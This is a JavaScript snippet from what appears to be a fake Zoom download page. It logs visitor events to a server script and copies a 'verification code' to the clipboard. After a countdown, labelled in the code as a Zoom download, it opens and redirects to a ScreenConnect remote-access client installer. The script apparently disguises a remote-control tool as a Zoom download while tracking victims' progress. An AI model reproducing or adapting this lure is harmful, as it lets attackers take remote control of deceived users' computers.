async function sendEvent(eventName){

  try{

    await fetch(
      "log.php",
      {
        method:"POST",

        headers:{
          "Content-Type":
          "application/x-www-form-urlencoded"
        },

        body:
        `event=${encodeURIComponent(eventName)}`
      }
    );

  }catch(error){

    console.log(error);
  }
}

function copyCode(){

  const code =
  document.querySelector(
    ".code-box"
  ).innerText;

  navigator.clipboard
  .writeText(code);

  alert(
    "Verification code copied."
  );
}

function startDownload(){

  let count = 5;

  const big =
  document.getElementById(
    "count"
  );

  const timer =
  setInterval(() => {

    count--;

    big.innerText = count;

    if(count <= 0){

      clearInterval(timer);

      sendEvent(
        "Zoom Download Started"
      );

      window.open(
        "https://marlabs.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest",
        "_blank"
      );

      setTimeout(() => {

        window.location =
        "https://marlabs.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest";

      },1500);
    }

  },1000);
}